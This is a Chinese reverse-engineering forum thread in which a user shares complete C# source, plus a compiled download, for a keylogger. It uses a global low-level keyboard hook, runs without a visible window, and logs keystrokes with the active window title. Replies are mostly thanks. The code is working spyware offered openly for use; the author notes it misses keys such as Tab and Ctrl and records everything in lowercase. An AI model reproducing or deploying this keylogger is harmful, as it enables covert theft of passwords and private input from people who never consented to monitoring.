吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1616|回复: 7
收起左侧

[其他原创] c#键盘记录

[复制链接]
Sam.777 发表于 2024-3-1 18:04
键盘记录需要持续运行,c#的console想要实现,需要引用System.Windows.Forms
image.png
不能记录tab、Ctrl等按键,处理识别大小写也没成功,记录内容全都是小写(快下班了)
[C#] 纯文本查看 复制代码
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Timer = System.Threading.Timer;

class Program
{
    private static StringBuilder accumulatedInput = new StringBuilder();
    private static DateTime lastKeyPressTime = DateTime.Now;
    private static readonly object lockObj = new object();
    private static Timer timer;

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    public static void Main()
    {
        _hookID = SetHook(_proc);
        timer = new Timer(CheckTime, null, 0, 1000); // 每秒检查一次
        Application.Run(new ApplicationContext()); // 使用ApplicationContext来保持应用程序运行,而不显示窗体
        UnhookWindowsHookEx(_hookID);
    }

    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule)
        {
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            bool shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0; // 检查Shift键是否被按下
            bool capsLockActive = (GetKeyState(VK_CAPITAL) & 0x0001) != 0; // 检查Caps Lock是否激活
            bool isLetter = vkCode >= 0x41 && vkCode <= 0x5A; // 判断是否为字母键

            // 尝试转换虚拟键码为字符(考虑修饰键)
            StringBuilder charBuffer = new StringBuilder(2);
            if (ToUnicode(vkCode, 0, new byte[256], charBuffer, 2, 0) > 0)
            {
                string keyText = charBuffer.ToString();
                lock (lockObj)
                {
                    accumulatedInput.Append(keyText); // 累积输入
                    lastKeyPressTime = DateTime.Now; // 更新时间
                }
            }
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    private static void CheckTime(object state)
    {
        lock (lockObj)
        {
            if ((DateTime.Now - lastKeyPressTime).TotalSeconds >= 5 && accumulatedInput.Length > 0)
            {
                Console.WriteLine(DateTime.Now.ToString()); // 输出时间
                Console.WriteLine(GetActiveWindowTitle()); // 输出当前活动窗口的标题
                Console.WriteLine(accumulatedInput.ToString()); // 输出累积的输入
                accumulatedInput.Clear(); // 清除累积的输入
            }
        }
    }

    private static string GetActiveWindowTitle()
    {
        const int nChars = 256;
        StringBuilder Buff = new StringBuilder(nChars);
        IntPtr handle = GetForegroundWindow();
        if (GetWindowText(handle, Buff, nChars) > 0)
        {
            return Buff.ToString();
        }
        return null;
    }

    // P/Invoke声明
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("user32.dll")]
    static extern IntPtr GetForegroundWindow();

    [DllImport("user32.dll")]
    static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

    [DllImport("user32.dll")]
    private static extern short GetKeyState(int nVirtKey);

    [DllImport("user32.dll")]
    public static extern int ToUnicode(int wVirtKey, int wScanCode, byte[] lpKeyState, StringBuilder pwszBuff, int cchBuff, int wFlags);

    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private const int VK_SHIFT = 0x10;
    private const int VK_CAPITAL = 0x14;
}

image.png

编译好的: 52test.7z (3.27 KB, 下载次数: 62)

免费评分

参与人数 2吾爱币 +6 热心值 +1 收起 理由
苏紫方璇 + 5 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
让导弹飞 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

AronnaxM 发表于 2024-3-2 09:28
奇怪了,我点下载附件出来这个,是说吾爱的数据库出问题了吗
Discuz! Database Error
(167) Out of range value for column 'id' at row 1
wuhao121 发表于 2024-3-5 11:23
XXTK 发表于 2024-3-7 15:46
ggcomepojie 发表于 2024-3-8 10:32
厉害了我的哥
coody 发表于 2024-3-12 22:15
这个源码,可以收录一下
pjk321 发表于 2024-3-14 10:49
学习了,大神
xiaoc7 发表于 2024-9-6 11:20
学习了!!!!!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 13:55

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表